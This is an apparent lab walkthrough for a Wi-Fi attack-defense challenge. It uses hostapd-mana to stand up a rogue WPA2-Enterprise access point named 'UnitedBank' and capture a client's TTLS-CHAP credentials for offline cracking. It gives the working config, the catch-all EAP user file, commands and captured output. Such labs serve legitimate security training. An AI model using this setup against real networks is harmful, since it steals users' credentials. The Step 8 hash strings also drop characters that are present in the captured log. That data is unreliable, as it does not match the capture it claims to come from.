

[illegible]

Name	Mana: Attacking TTLS-CHAP
URL	https://www.attackdefense.com/challengedetails?cid=1288
Type	Wi-Fi Attack-Defense : Live Cracking

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Use Hostapd-mana to create a WPA2-Enterprise WiFi network and retrieve the user's credentials!

Solution:

Step 1: Check the list of available WiFi network interfaces on the machine

Command: iw dev.

```
root@attackdefense:~# iw dev
phy#1
    Interface wlan1
        ifindex 5
        wdev 0x100000001
        addr 02:00:00:00:01:00
        type managed
        txpower 0.00 dBm
phy#0
    Interface wlan0
        ifindex 4
        wdev 0x1
        addr 02:00:00:00:00:00
        type managed
        txpower 0.00 dBm
root@attackdefense:~#
```

Wlan0 and wlan1 interfaces are present on the machine.

Step 2: Change interface wlan0 to monitor mode.

Command: iw dev wlan0 set monitor none

```
root@attackdefense:~# iw dev wlan0 set monitor none
```

Verify the same using iw dev command.

```
root@attackdefense:~# iw dev
phy#1
    Interface wlan1
        ifindex 5
        wdev 0x100000001
        addr 02:00:00:00:01:00
        type managed
        txpower 0.00 dBm
phy#0
    Interface wlan0
        ifindex 4
        wdev 0x1
        addr 02:00:00:00:00:00
        type monitor
        txpower 0.00 dBm
root@attackdefense:~#
```

Step 3: Run airodump-ng on wlan0 interface to view all networks present in the vicinity on 2.4 (b/g) Ghz band.

Command: airodump-ng wlan0

```
root@attackdefense:~# airodump-ng wlan0
```

```
CH 7 ][ Elapsed: 6 s ][ 2019-10-24 12:21
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
BSSID		STATION	PWR	Rate	Lost	Frames	Probe		
(not associated)	02:00:00:00:02:00	-49	0 - 1	10	4	UnitedBank			

A client is probing for SSID “UnitedBank”.

Step 4: The certificates and password list are provided in root’s home directory (i.e. /root).

Command: ls -l

```
root@attackdefense:~# ls -l
total 8
-rw-r--r-- 1 root root 794 Oct 24 09:47 100-common-passwords.txt
drwxr-xr-x 2 root root 4096 Oct 24 09:47 certs
root@attackdefense:~#
```

Command: ls -l certs/

```
root@attackdefense:~# ls -l certs/
total 16
-rw-r--r-- 1 root root 1245 Oct 24 09:47 ca.pem
-rw-r--r-- 1 root root 424 Oct 24 09:47 dhparam.pem
-rw-r--r-- 1 root root 1675 Oct 24 09:47 server.key
-rw-r--r-- 1 root root 1245 Oct 24 09:47 server.pem
root@attackdefense:~#
```

Step 5: Create a hostapd-mana configuration file to host a WPA/WPA2-Enterprise network.

Hostapd-mana configuration

```
interface=wlan1
ssid=UnitedBank
```

```
channel=6
hw_mode=g
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/root/certs/ca.pem
server_cert=/root/certs/server.pem
private_key=/root/certs/server.key
private_key_passwd=
dh_file=/root/certs/dhparam.pem
mana_wpe=1
mana_eapsuccess=1
```

```
root@attackdefense:~# cat mana-ttls-chap.conf
interface=wlan1
ssid=UnitedBank
channel=6
hw_mode=g
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/root/certs/ca.pem
server_cert=/root/certs/server.pem
private_key=/root/certs/server.key
private_key_passwd=
dh_file=/root/certs/dhparam.pem
mana_wpe=1
mana_eapsuccess=1
```


Most of the parameter used in configuration file are part of Hostapd configuration. For more details on that, refer to Hostapd documentation.

Hostapd-mana specific ones are:

mana_wpe=1 : enables WPE mode for EAP credentials interception

mana_eapsuccess=1 : enable EAP success messages

Hostapd-mana will also need a user file.

User file content

```
*          PEAP,TTLS,TLS,MD5,GTC
"t"        TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP
"1234test" [2]
```

```
root@attackdefense:~# cat hostapd.eap_user
*          PEAP,TTLS,TLS,MD5,GTC
"t"        TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP  "1234test"  [2]
root@attackdefense:~#
```

This user file will allow any user to connect.

More details about the configuration can be found in documentation of Hostapd-mana:

<https://github.com/sensepost/hostapd-mana/wiki>

Step 6: Start the network

Command: hostapd-mana mana-ttls-chap.conf

```
root@attackdefense:~# hostapd-mana mana-ttls-chap.conf
Configuration file: mana-ttls-chap.conf
Using interface wlan1 with hwaddr 02:00:00:00:01:00 and ssid "UnitedBank"
random: Only 18/20 bytes of strong random data available from /dev/random
random: Not enough entropy pool available for secure operations
WPA: Not enough entropy in random pool for secure operations - update keys later when the first station connects
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED
```

Step 7: Wait for the client to connect. As soon as the client connects to the network, the logs will appear on the console.

```
wlan1: STA 02:00:00:00:02:00 IEEE 802.11: authenticated
wlan1: STA 02:00:00:00:02:00 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 02:00:00:00:02:00
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: anon
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=21
MANA EAP Identity Phase 1: alice
MANA EAP TTLS-CHAP JTR user=alice | $chap$49*46f306e13d9dfc0719dc6c65657c34f4*f955940c981d60834798d56ae121c8ab
MANA EAP TTLS-CHAP HASHCAT user=alice | f955940c981d60834798d56ae121c8ab:46f306e13d9dfc0719dc6c65657c34f4:49
wlan1: CTRL-EVENT-EAP-FAILURE 02:00:00:00:02:00
wlan1: STA 02:00:00:00:02:00 IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan1: STA 02:00:00:00:02:00 IEEE 802.1X: Supplicant used different EAP type: 21 (TTLS)
wlan1: STA 02:00:00:00:02:00 IEEE 802.11: deauthenticated due to local deauth request
```

From the logs, one can observe that in CHAP the username is visible in plaintext but the password is not in plaintext. The attacker has to crack the captured information to retrieve the password.

Step 8: Hashcat or JTR can be used to crack the captured CHAP information.

Hence, the collected information is:

Username: alice

JTR crackable information:

\$chap\$49*46f306e13dfc0719dc6c65657c34f4*f955940c981d60834798d56ae121c8ab

Hashcat crackable information:

f955940c981d60834798d56ae121c8ab:46f306e13dfc0719dc6c65657c34f4:49